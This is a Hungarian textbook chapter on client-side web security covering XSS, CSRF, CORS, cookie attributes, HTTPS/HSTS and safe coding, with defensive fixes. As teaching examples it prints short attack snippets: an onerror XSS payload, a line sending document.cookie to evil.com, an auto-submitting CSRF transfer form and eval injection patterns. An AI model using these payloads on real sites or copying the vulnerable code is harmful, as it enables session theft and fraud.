Fejezetek: 1. Aszinkron 2. Böngésző API-k 3. Biztonság
3. fejezet

Biztonsági kérdések

XSS, CSRF, CORS, cookie-biztonság, HTTPS és biztonságos kódolási gyakorlatok – a kliens oldali fejlesztés biztonsági alapjai.

3.1 Cross-Site Scripting (XSS)

Mi az XSS?

A Cross-Site Scripting (XSS) az egyik legelterjedtebb és legveszélyesebb webes sebezhetőség. A lényege: a támadó rosszindulatú JavaScript kódot juttat be egy weboldalba, amelyet a gyanútlan felhasználó böngészője megbízható kódként futtat le. Azért különösen veszélyes, mert a böngésző nem tudja megkülönböztetni a fejlesztő által írt „legális" JavaScript-et a támadó által beszúrt kódtól.

Ha a támadó kódja lefut a böngészőben, a következőkre képes:

XSS típusok

Az XSS támadásokat három fő típusba soroljuk, aszerint, hogy a rosszindulatú kód hol „él" és hogyan jut el az áldozathoz:

TípusHol tárolódik a kód?Kit érint?Szerver érintett?
Reflected (tükrözött)URL paraméterben – NEM tárolódikAki a rosszindulatú linkre kattintIgen – a szerver visszatükrözi a kódot
Stored (tárolt)Adatbázisban – TARTÓSAN!MINDENKIT, aki megtekinti az oldaltIgen – a szerver tárolja és kiszolgálja
DOM-basedCsak a kliens kódbanAki a speciális linkre kattintNEM – kizárólag kliens oldali hiba

Reflected XSS: A támadó egy linket küld az áldozatnak (pl. e-mailben), amelynek URL-jébe JavaScript kódot rejt. A szerver visszatükrözi a paraméter értékét a válaszban, a böngésző pedig lefuttatja. Például: https://example.com/search?q=<script>...</script>

Stored XSS: A támadó kódot ment a szerver adatbázisába – például egy kommentben, fórum bejegyzésben, felhasználónévben. Amikor más felhasználók megtekintik az oldalt, a böngésző lefuttatja a tárolt kódot. Ez a legveszélyesebb típus, mert egy aktív fórumon minden látogató érintett.

DOM-based XSS: A szerver nem érintett – a hiba kizárólag a kliens oldali JavaScript kódban van. A kód közvetlenül a DOM-ból (pl. URL hash, query string) olvas be adatot, és azt szűrés nélkül beszúrja az oldalba.

DOM-based XSS – részletes példa

Tegyük fel, hogy az oldalunk az URL hash-ből olvassa ki a felhasználó nevét, és megjeleníti üdvözlésként:

✘ Sebezhető
var name = decodeURIComponent(location.hash.slice(1));
document.getElementById("greeting").innerHTML = "Üdv, " + name + "!";

Normál használat (https://example.com/greet#Péter) esetén az „Üdv, Péter!" jelenik meg. De a támadó ezt a linket küldi: ...greet#<img src=x onerror="alert(document.cookie)">. Az innerHTML értelmezi a HTML-t: létrehoz egy <img> elemet, a kép nem töltődik be, az onerror lefut – és a támadó kódja hozzáfér a cookie-khoz.

✔ Biztonságos
var name = decodeURIComponent(location.hash.slice(1));
document.getElementById("greeting").textContent = "Üdv, " + name + "!";

A textContent NEM értelmez HTML-t – a támadó kódja nyers szövegként jelenik meg az oldalon, nem fut le.

Védekezés: textContent vs. innerHTML

A legfontosabb szabály: felhasználói adat SOHA ne kerüljön innerHTML-be. A textContent biztonságos, mert nem értelmez HTML-t – minden speciális karaktert szövegként jelenít meg:

MetódusHTML értelmezés?XSS kockázatMikor használjuk?
textContentNEMNINCSFelhasználói szöveg – szinte MINDIG
innerHTMLIGEN – a teljes HTML-t feldolgozzaKRITIKUSCsak megbízható, fix, fejlesztő által írt HTML
createElement + appendNEM – strukturált építésNINCSDinamikus HTML építés programozottan

Védekezés: DOMPurify

Vannak esetek, amikor szükségünk van HTML beszúrásra – például egy rich text editor (WYSIWYG) kimenetét kell megjelenítenünk, vagy Markdown-ból generált HTML-t. Ilyenkor a DOMPurify könyvtárral „tisztítjuk" a HTML-t: eltávolítja a veszélyes elemeket (script, onerror stb.), de meghagyja a formázást (b, i, p, a stb.):

// CDN: <script src="https://cdnjs.cloudflare.com/.../purify.min.js">

var dirty = '<b>Hello</b><img src=x onerror="alert(1)"><script>steal()</script>';
var clean = DOMPurify.sanitize(dirty);

console.log(clean);
// Eredmény: "<b>Hello</b><img src="x">"
// A <script> tag ELTÁVOLÍTVA!
// Az onerror attribútum ELTÁVOLÍTVA!
// A <b> és <img> megmaradtak (biztonságos elemek).

document.querySelector("#content").innerHTML = clean;
ℹ DOMPurify vs. saját regex
SOHA ne próbáljunk saját regex-szel HTML-t tisztítani! A HTML rendkívül összetett, és a támadók kreatívak – mindig találnak megkerülési módot. A DOMPurify ezres nagyságrendű edge case-t kezel.

Védekezés: Content Security Policy (CSP)

A CSP egy HTTP fejléc, amellyel a szerver szabályozza, milyen forrásból tölthet be a böngésző erőforrásokat (scriptek, stílusok, képek). Ez az utolsó védelmi vonal: még ha az XSS valahogyan átjut az input szűrésen, a CSP megakadályozhatja a kód futtatását.

A legfontosabb CSP direktívák:

DirektívaMit szabályoz?Példa érték
default-srcAlapértelmezés minden típusra'self' (csak saját origin)
script-srcJavaScript forrásfájlok'self' https://cdn.example.com
style-srcCSS forrásfájlok'self' 'unsafe-inline'
img-srcKépek'self' data: https:
connect-srcFetch/XHR/WebSocket célok'self' https://api.example.com

Példa fejléc: Content-Security-Policy: default-src 'self'; script-src 'self'

✔ Hatás
<script src="/app.js"> — ENGEDÉLYEZVE (saját origin)
<script>alert(1)</script> — BLOKKOLVA (inline script!)
eval("alert(1)") — BLOKKOLVA (eval tiltva!)
<script src="https://evil.com/..."> — BLOKKOLVA (más origin)
⚠ XSS védelmi szabályok
1. Felhasználói szöveg → MINDIG textContent.
2. Ha HTML kell → DOMPurify.sanitize() + innerHTML.
3. SOHA eval(), document.write(), vagy innerHTML felhasználói adattal DOMPurify nélkül!
4. CSP fejléc beállítása a szerveren – utolsó védelmi vonal.

3.2 Cross-Site Request Forgery (CSRF)

Mi a CSRF?

A CSRF (Cross-Site Request Forgery, „kérés-hamisítás") egy támadási típus, amelyben a támadó ráveszi az áldozat böngészőjét, hogy hitelesített kérést küldjön egy másik weboldalra – az áldozat tudta és beleegyezése nélkül. A támadás kihasználja, hogy a böngésző automatikusan elküldi a cookie-kat minden kéréshez, amely az adott domain-re irányul.

Fontos megérteni az XSS és a CSRF közötti különbséget:

XSS (3.1)CSRF (3.2)
Mit csinál?Kódot FUTTAT az áldozat böngészőjébenKÉRÉST KÜLD az áldozat nevében
Hol fut a támadó kódja?A cél oldalon (same-origin)A támadó saját oldalán (cross-origin)
Mire van szüksége?Sebezhető input (innerHTML)Az áldozat bejelentkezett állapota
Hozzáfér a válaszhoz?IGEN – teljes hozzáférésNEM – csak a kérést tudja elküldeni

A támadás mechanizmusa – lépésről lépésre

Nézzük végig, hogyan működik egy CSRF támadás egy banki alkalmazás ellen:

  1. Az áldozat bejelentkezik a bank.hu oldalra. A böngésző kap egy session cookie-t: sessionId=abc123
  2. Az áldozat átnavigál a tamado.hu oldalra (linket kapott e-mailben: „Nyerd meg az új iPhone-t!")
  3. A tamado.hu egy rejtett űrlapot tartalmaz, amely automatikusan elküldődik, amikor az oldal betöltődik
  4. A böngésző elküldi a kérést a bank.hu-nak – és automatikusan csatolja a session cookie-t, mert az a bank.hu domain-hez tartozik!
  5. A bank.hu szervere megkapja a kérést a valid session cookie-val, és úgy látja, mintha az áldozat küldte volna → végrehajtja az utalást

A támadó oldala nagyon egyszerű – elég egy rejtett űrlap és egy sor JavaScript:

✘ tamado.hu
<form action="https://bank.hu/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="tamado-szamla-123">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById("evil").submit();</script>

Az áldozat nem is látja az űrlapot – automatikusan elküldődik, amint az oldal betöltődik.

Védekezés 1: SameSite cookie attribútum

A SameSite cookie attribútum szabályozza, hogy a böngésző elküldi-e a cookie-t cross-site kéréseknél. Ez a legegyszerűbb és leghatékonyabb CSRF-védelem:

SameSite értékCross-site POST?Cross-site link (GET)?CSRF védelem
StrictNEM küldi a cookie-tNEM küldiTELJES – de a felhasználó „kijelentkezik" ha linkről érkezik
Lax (alapért.)NEM küldi a cookie-tElküldiJÓ – a legtöbb alkalmazásnak elég
NoneElküldiElküldiNINCS – kerüljük! (Secure flag kötelező hozzá)
ℹ Lax vs Strict
A Lax a legjobb kompromisszum: a CSRF támadások POST kéréseket használnak (utalás, törlés stb.), és ezeknél a Lax már NEM küldi a cookie-t. Viszont ha a felhasználó egy linkről érkezik (GET), a cookie elkülődik, tehát nem kell újra bejelentkeznie. A Strict biztonságosabb, de kényelmetlenebb.

Védekezés 2: CSRF token

A CSRF token egy egyedi, kiszámíthatatlan érték, amelyet a szerver generál minden munkamenethez. A kliens minden állapotmódosító kérésnél (POST, PUT, DELETE) elküldi – a szerver ellenőrzi, hogy a token érvényes-e. A támadó nem tudja kitalálni vagy kiolvasni a tokent (a Same-Origin Policy meggátolja).

// A szerver a tokent egy meta tag-ben vagy egy cookie-ban adja át
// HTML: <meta name="csrf-token" content="a1b2c3d4e5f6...">

var csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// Minden POST/PUT/DELETE kérésnél elküldjük fejlécként
await fetch("/api/transfer", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-CSRF-Token": csrfToken,  // Egyedi fejléc!
  },
  body: JSON.stringify({ to: "szamla-123", amount: 50000 }),
});

// A szerver ellenőrzi: a fejlécben kapott token egyezik-e
// a munkamenethez tartozó tokennel.
// A támadó NEM tudja elolvasni a tokent (más origin!),
// tehát NEM tudja beállítani a fejlécet.

Védekezés 3: Origin / Referer fejléc ellenőrzés

A böngésző minden kéréshez automatikusan beállítja az Origin (vagy Referer) fejlécet, amely jelzi, melyik oldalról indult a kérés. A szerver ellenőrizheti, hogy a kérés a saját origin-jéről érkezett-e. A támadó nem tudja felülírni ezeket a fejléceket JavaScript-ből – a böngésző védi őket.

⚠ XSS => CSRF!
Ha XSS sebezhetőség van az oldalon, a támadó kódja ugyanazon az origin-en fut – tehát ki tudja olvasni a CSRF tokent a DOM-ból, el tudja küldeni a kéréseket a helyes tokennel, és a SameSite cookie-t is megkapja. Ezért az XSS megelőzése mindig prioritás – ha az XSS megoldott, a CSRF is sokkal nehezebb.

3.3 CORS (Cross-Origin Resource Sharing)

Same-Origin Policy (SOP) – a böngésző alapbiztonsága

Mielőtt a CORS-t megértenénk, ismernünk kell a Same-Origin Policy-t (SOP), a böngészők alapvető biztonsági szabályát. A SOP kimondja: egy origin-ről betöltött JavaScript nem olvashatja egy másik origin válaszát.

Az origin három részből áll: protokoll + domain + port. Ha ezek közül bármelyik különbözik, az két különböző origin:

URL AURL BSame origin?Miért?
https://app.huhttps://app.hu/apiIGENUgyanaz a protokoll, domain, port
https://app.huhttp://app.huNEMMás protokoll (https vs http)
https://app.huhttps://api.app.huNEMMás domain (subdomain is más!)
https://app.huhttps://app.hu:8080NEMMás port (443 vs 8080)
http://localhost:3000http://localhost:5000NEMMás port – gyakori fejlesztésnél!
ℹ A SOP nem a kérést blokkolja!
Fontos árnyalat: a SOP NEM akadályozza meg a kérés elküldését – csak a válasz olvasását tiltja! A kérés elindul, a szerver feldolgozza, választ küld – de a böngésző nem engedi a JavaScript-nek, hogy a választ kiolvassa. Ez az oka annak, hogy a CSRF (3.2) lehetséges: a támadó elküldi a kérést, de a választ nem tudja olvasni.

Mi a CORS?

A CORS (Cross-Origin Resource Sharing) a SOP szabályozott feloldása. A szerver HTTP fejlécekkel jelzi a böngészőnek, hogy mely origin-ekről engedélyezi a hozzáférést. Ha a szerver nem küld CORS fejléceket, a böngésző blokkolja a válasz olvasását.

Fontos: a CORS a szerver konfigurálásáról szól, nem a kliensről. A kliens oldalon nem tudunk „kikapcsolni" CORS-t – a szerver dönt.

Egyszerű kérések vs. preflight

A böngésző kétféleképpen kezeli a cross-origin kéréseket, attól függően, hogy a kérés „egyszerű" vagy „komplex":

Egyszerű kérés (nincs preflight): GET, HEAD vagy POST, ha nincs egyedi fejléc és a Content-Type egyszerű (pl. text/plain, application/x-www-form-urlencoded, multipart/form-data). Ilyenkor a böngésző közvetlenül elküldi a kérést.

Komplex kérés (preflight szükséges): ha a kérés egyedi fejlécet tartalmaz (pl. Authorization, Content-Type: application/json), vagy a metódus PUT/DELETE/PATCH. Ilyenkor a böngésző előbb egy OPTIONS kérést küld, hogy „megkérdezze" a szervert: engedélyezi-e a valódi kérést?

await fetch("https://api.example.com/users", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ name: "János" }),
});

Mivel a Content-Type: application/json nem „egyszerű", a böngésző preflight-ot küld. A folyamat:

1. Preflight kérés (automatikus):

OPTIONS /users HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

2. Szerver válasza (ha engedélyezi):

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

3. Ha a preflight sikeres, a valódi POST is elmegy. Ha sikertelen, a böngésző NEM küldi el.

CORS fejlécek

Fejléc (szerver küldi)LeírásPélda
Access-Control-Allow-OriginMelyik origin-ek olvashatják a választhttps://app.hu vagy *
Access-Control-Allow-MethodsEngedélyezett HTTP metódusokGET, POST, PUT, DELETE
Access-Control-Allow-HeadersEngedélyezett egyedi fejlécekContent-Type, Authorization
Access-Control-Allow-CredentialsCookie küldés engedélyezett?true (nem használható *-gal!)
Access-Control-Max-AgePreflight cache ideje (mp)86400 (1 nap)

Szerver oldali konfiguráció

A CORS fejléceket a szerveren kell beállítani. Egy Express.js példa:

var cors = require("cors");

// PRODUKCIÓBAN: konkrét origin!
app.use(cors({
  origin: "https://app.example.com",   // Nem "*"!
  methods: ["GET", "POST", "PUT", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization"],
  credentials: true,                  // Cookie-k engedélyezése
}));
⚠ Soha ne használj * origin-t produkcióban!
Az Access-Control-Allow-Origin: * (csillag) MINDEN origin-nek megengedi a hozzáférést. Ez fejlesztésnél kényelmes, de produkcióban biztonsági kockázat – különösen, ha a szerver hitelesített végpontokat is kiszolgál. Ráadásul a credentials: true nem is működik *-gal.

Gyakori CORS hibák és megoldásaik

HibaüzenetOkMegoldás
"No 'Access-Control-Allow-Origin' header"A szerver nem küld CORS fejlécetCORS middleware bekapcsolása a szerveren
"Method not allowed"A metódus nincs az Allow-Methods-benmethods lista bővítése (pl. PUT, DELETE)
"Request header not allowed"Egyedi fejléc tiltvaallowedHeaders lista bővítése
Cookie nem küldődik cross-origincredentials: true + * originKonkrét origin + Allow-Credentials: true
localhost CORS hibaEltérő port = cross-origin!Backend CORS config vagy frontend proxy (Vite, webpack)
✔ CORS hibakeresés tippek
1. DevTools → Network fül → keressük az OPTIONS kérést (preflight)
2. Vizsgáljuk a válasz fejléceket: vannak-e Access-Control-* fejlécek?
3. Ha az OPTIONS 200/204, de a valódi kérés hibás → a fejlécek nem egyeznek
4. Ha az OPTIONS 404 → a szerver nem kezeli az OPTIONS metódust

3.4 Cookie-k biztonsága

Mik azok a cookie-k?

A cookie-k kis szöveges adatok, amelyeket a szerver küld a böngészőnek (Set-Cookie fejléc), és a böngésző minden további kérésnél automatikusan visszaküldi őket a szervernek (Cookie fejléc). A legfontosabb felhasználásuk: munkamenet-kezelés (session) – a szerver egy egyedi azonosítót (session ID) tárol a cookie-ban, és ezzel tartja nyilván, melyik felhasználó van bejelentkezve.

A cookie-k biztonságát attribútumokkal szabályozzuk. Ezeket a szerver állítja be a Set-Cookie fejlécben:

Cookie attribútumok részletesen

AttribútumHatásMilyen támadás ellen véd?
HttpOnlyA JavaScript NEM fér hozzá (document.cookie nem látja)XSS – a támadó kódja nem tudja ellopni
SecureCsak HTTPS-en küldődik (HTTP-n NEM)MitM – hálózati lehallgatás ellen
SameSiteCross-site kérésnél küldődik-e (Strict / Lax / None)CSRF – a támadó oldala nem kapja meg
DomainMelyik domain-ekre érvényes a cookieKorlátozza a cookie hatókörét
PathMelyik URL útvonalra érvényesTovábbi hatókör-korlátozás
Max-AgeLejárat másodpercben (0 = azonnali törlés)Session lejárat kikényszerítése

HttpOnly – a legfontosabb cookie védelmi flag

A HttpOnly flag megakadályozza, hogy a JavaScript hozzáférjen a cookie-hoz. Ez kritikus fontosságú a session cookie-knál, mert egy XSS támadás legnagyobb veszélye éppen a session cookie ellopása:

✘ Sebezhető
// Set-Cookie: sessionId=abc123; Path=/  (NINCS HttpOnly!)
var stolen = document.cookie;  // "sessionId=abc123"
fetch("https://evil.com/steal?c=" + encodeURIComponent(stolen));

HttpOnly nélkül a document.cookie visszaadja a session cookie-t – a támadó XSS kóddal ellophatja, és a saját böngészőjébe beillesztve átveheti a munkamenetet.

✔ Biztonságos
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
console.log(document.cookie);  // "" (üres!)

A HttpOnly flag-gel a JavaScript egyáltalán nem látja a cookie-t. A böngésző viszont továbbra is elküldi a HTTP kérések fejlécében – a szerver oldali autentikáció zavartalanul működik.

Az ideális session cookie

Egy biztonsági szempontból optimális session cookie minden fontos attribútumot tartalmaz:

Példa fejléc:

Set-Cookie: sessionId=a1b2c3d4; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=1800
AttribútumTámadás ellen védHogyan?
HttpOnlyXSSJavaScript nem olvashatja a cookie-t
SecureMitM (lehallgatás)Csak HTTPS-en küldődik
SameSite=LaxCSRFCross-site POST-nál nem küldődik
Path=/Az egész oldalra érvényes
Max-Age=1800Session lejárat30 perc inaktivitás után automatikusan törlődik

Session hijacking vektorok és védekezés

A session hijacking azt jelenti, hogy a támadó megszerzi a felhasználó session azonosítóját, és átveszi a munkamenetet. Több támadási vektor létezik, és mindegyikre más védekezés szükséges:

Támadási vektorHogyan működik?Védekezés
XSS (document.cookie)Rosszindulatú JS kiolvassa a cookie-tHttpOnly flag
Hálózat lehallgatás (MitM)HTTP forgalom titkosítatlanSecure flag + HTTPS
CSRF (auto cookie)Cookie automatikusan megy cross-siteSameSite + CSRF token
Session fixationTámadó beállít egy session ID-tBejelentkezéskor ÚJ session ID generálás!
Fizikai hozzáférésNyitva hagyott gépSession lejárat + kijelentkezés gomb

Cookie vs. localStorage – hol tároljuk a tokent?

Egy gyakori kérdés: a JWT tokent localStorage-ban vagy HttpOnly cookie-ban tároljuk? A válasz egyértelmű:

SzempontHttpOnly CookielocalStorage
XSS-sel ellopható?NEM (HttpOnly védi)IGEN – bármilyen JS hozzáfér
CSRF veszély?IGEN (auto-küldés)NEM (manuálisan kell fejlécbe tenni)
Méretkorlát~4 KB~5 MB
Szerver olvassa?IGEN (auto fejléc)NEM (JS kell hozzá)
AjánlásSession ID, JWT tokenUI beállítások (téma, nyelv)
✔ Legjobb gyakorlat
A JWT-t HttpOnly cookie-ban tároljuk, nem localStorage-ban! Az XSS sokkal gyakoribb és veszélyesebb, mint a CSRF – és a CSRF ellen a SameSite + CSRF token elegendő védelmet nyújt. A localStorage-ban tárolt JWT egy XSS sebezhetőséggel azonnal ellopható.

3.5 HTTPS és Mixed Content

Miért fontos a HTTPS?

A HTTPS (HTTP Secure) a HTTP protokoll TLS/SSL titkosítással ellátott változata. A titkosítás három dolgot biztosít:

SzempontHTTPHTTPS
TitkosításNINCS – nyílt szövegTLS titkosítás (AES-256)
Cookie lopás (MitM)Lehetséges nyílt Wi-Fi-nVédett (Secure flag-gel teljesen)
Tartalom módosításLehetséges (pl. ISP reklám)Védett – TLS integritás ellenőrzés
Geolocation, Clipboard, Notification APITILTVAMűködik
Service WorkerTILTVA (kivéve localhost)Működik
SEO rangsorolásHátrányElőny (Google, 2014 óta)
Böngésző jelzés„Nem biztonságos" figyelmeztetésLakat ikon

Mixed Content – HTTPS és HTTP keverése

Ha egy HTTPS-en kiszolgált oldal HTTP-ről tölt be erőforrásokat, az mixed content. A probléma: a HTTP-n betöltött erőforrás titkosítatlan, tehát módosítható – ezzel az egész HTTPS védelem megtörhető.

A böngészők kétféle mixed content-et különböztetnek meg:

TípusErőforrásokBöngésző reakció
Active (aktív)Script, iframe, CSS, fetch/XHRBLOKKOLVA – nem töltődik be!
Passive (passzív)Kép, hang, videóFigyelmeztetés – betöltődik, de jelzi
✘ Mixed content
<!-- HTTPS oldalon HTTP erőforrás => probléma! -->
<script src="http://cdn.example.com/lib.js"></script>    <!-- BLOKKOLVA -->
<img src="http://images.example.com/photo.jpg">         <!-- Figyelmeztetés -->
<link href="http://cdn.example.com/style.css">          <!-- BLOKKOLVA -->
✔ Helyes
<script src="https://cdn.example.com/lib.js"></script>
<img src="https://images.example.com/photo.jpg">
<link href="https://cdn.example.com/style.css">

HSTS (HTTP Strict Transport Security)

A HSTS egy HTTP válaszfejléc, amely utasítja a böngészőt, hogy az adott domainhez mindig HTTPS-t használjon – még akkor is, ha a felhasználó http://-t ír be a címsorba. A böngésző automatikusan átirányítja HTTPS-re.

Ez véd az úgynevezett „SSL stripping" támadás ellen: a támadó megpróbálja HTTP-re kényszeríteni a kapcsolatot (pl. nyílt Wi-Fi-n). Ha a böngésző emlékszik a HSTS-re, ez nem lehetséges.

Példa fejléc:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
DirektívaJelentés
max-age=315360001 évig emlékezzen rá a böngésző
includeSubDomainsAldomainekre is vonatkozik (api.example.com stb.)
preloadBekerülhet a böngészők beépített HSTS listájába (nem kell várni az első látogatásra)
ℹ Ingyenes HTTPS
A Let's Encrypt ingyenes TLS tanúsítványokat kínál – nincs technikai vagy anyagi ok a HTTPS mellőzésére. A legtöbb hosting szolgáltató (Netlify, Vercel, GitHub Pages) automatikusan biztosítja a HTTPS-t.

3.6 Biztonságos kódolási gyakorlatok

eval() és dinamikus kódfuttatás kerülése

Az eval() függvény egy szöveges stringet JavaScript kódként értelmez és futtat. Ha ebbe felhasználói adat kerül, az gyakorlatilag XSS sebezhetőséget jelent, mert a felhasználó tetszőleges kódot futtathat. Ugyanez vonatkozik a new Function()-ra és a setTimeout/setInterval string paraméterére:

✘ Soha ne használd!
eval("alert('" + userInput + "')");
var fn = new Function("return " + userInput); fn();
setTimeout("doSomething('" + userInput + "')", 1000);

Mindhárom sor a felhasználói inputot kódként futtatja. Ha a userInput rosszindulatú JavaScript-et tartalmaz, a támadó bármit megtehet: cookie-kat lophat, átirányíthat, űrlapokat módosíthat.

✔ Helyette
// Függvény referencia, NEM string!
setTimeout(function() {
  doSomething(userInput);  // A userInput ADAT, nem kód
}, 1000);

// JSON feldolgozás eval() helyett:
var data = JSON.parse(responseText);
// A JSON.parse() CSAK JSON-t fogad el – kódot nem futtat.

Input validálás: kliens ÉS szerver

A kliens oldali validálás fontos a felhasználói élmény szempontjából – azonnali visszajelzést ad, nem kell várni a szerver válaszára. De a biztonság szempontjából értéktelen, mert a kliens oldali kód teljesen megkerülhető:

// Kliens oldali validálás – UX céllal (gyors visszajelzés)
function validateEmail(email) {
  var pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  if (!pattern.test(email)) {
    showError("Kérjük, adjon meg érvényes e-mail címet.");
    return false;
  }
  return true;
}

// Kliens oldal: meghívja a validálást submit előtt
form.addEventListener("submit", function(event) {
  event.preventDefault();
  var email = document.querySelector("#email").value;

  if (validateEmail(email)) {
    fetch("/api/register", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ email: email }),
    });
  }
});
⚠ Aranyszabály
Kliens oldali validálás = UX (gyors visszajelzés, barátságos hibaüzenetek).
Szerver oldali validálás = BIZTONSÁG (nem kerülhető meg).
SOHA ne bízzunk kizárólag a kliens oldali ellenőrzésben – a szerveren ÚJRA validálni kell mindent!

Harmadik fél könyvtárak kockázatai (Supply Chain Attack)

Minden külső script, amelyet betöltünk, teljes hozzáférést kap az oldalhoz: cookie-k, DOM, localStorage, hálózati kérések – minden, amit a saját kódunk is elérhet. Ha egy CDN-en tárolt könyvtárat valaki módosít (kompromittálja), az összes oldal, amely betölti, sebezhetővé válik.

Ez a supply chain attack: nem a mi kódunkat támadják, hanem egy függőségünket.

Subresource Integrity (SRI)

Az SRI lehetővé teszi, hogy a böngésző ellenőrizze: a CDN-ről letöltött fájl nem módosult az eredeti verzióhoz képest. A fájl hash-ét a HTML-ben adjuk meg – ha a letöltött fájl hash-e nem egyezik, a böngésző blokkolja a betöltést:

<script
  src="https://cdn.example.com/lib.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K..."
  crossorigin="anonymous"
></script>

Ha valaki a CDN-en módosítja a fájlt, a hash nem fog egyezni – a böngésző blokkolja a betöltést, és az oldal biztonságos marad.

✔ SRI hash generálás
Az SRI hash-t a shasum parancssorral vagy az srihash.org weboldalon generálhatjuk. A legtöbb CDN (cdnjs, unpkg) automatikusan megadja az SRI hash-t a bemásolandó kódrészletben.

Érzékeny adatok kezelése – hol tároljuk?

A kliens oldalon tárolt adatok mindig hozzáférhetők a felhasználónak (DevTools) és potenciálisan XSS támadónak is. Ezért gondosan meg kell terveznünk, mit hol tárolunk:

Adat típusHol tároljuk?Miért éppen ott?
Session ID / JWTHttpOnly cookieXSS-sel nem olvasható (HttpOnly), automatikusan küldődik
Téma, nyelv, kosárlocalStorageNem érzékeny, tartós tárolás kell, JS-ből olvasandó
Wizard lépés, szűrősessionStorageNem érzékeny, csak a munkamenetig kell
Jelszó, PINSEHOL a kliensen!Azonnal a szerverre küldeni, kliensen nem megőrizni
Titkos API kulcsSZERVER oldalonA kliens kódban bárki láthatja (DevTools, view-source)
Publikus API kulcsKliens kódban (OK)Nem titkos, szerver oldalon rate-limit védi
ℹ A 3. fejezet összefoglalása
3.1 XSS – textContent MINDIG; innerHTML csak DOMPurify-val; CSP fejléc; a leggyakoribb és legveszélyesebb webes sebezhetőség.
3.2 CSRF – SameSite cookie (Lax); CSRF token; Origin/Referer ellenőrzés; az XSS megelőzése prioritás, mert XSS => CSRF is lehetséges.
3.3 CORS – Same-Origin Policy alapja; preflight OPTIONS; konkrét origin engedélyezés; soha ne * produkcióban.
3.4 Cookie – HttpOnly + Secure + SameSite hármas; JWT HttpOnly cookie-ban (nem localStorage-ban!); session hijacking vektorok.
3.5 HTTPS – titkosság + integritás + hitelesség; mixed content kerülése; HSTS fejléc; Let's Encrypt ingyenesen.
3.6 Kód – eval() tiltás; kliens + szerver validálás; SRI a CDN erőforrásokhoz; érzékeny adat kezelés.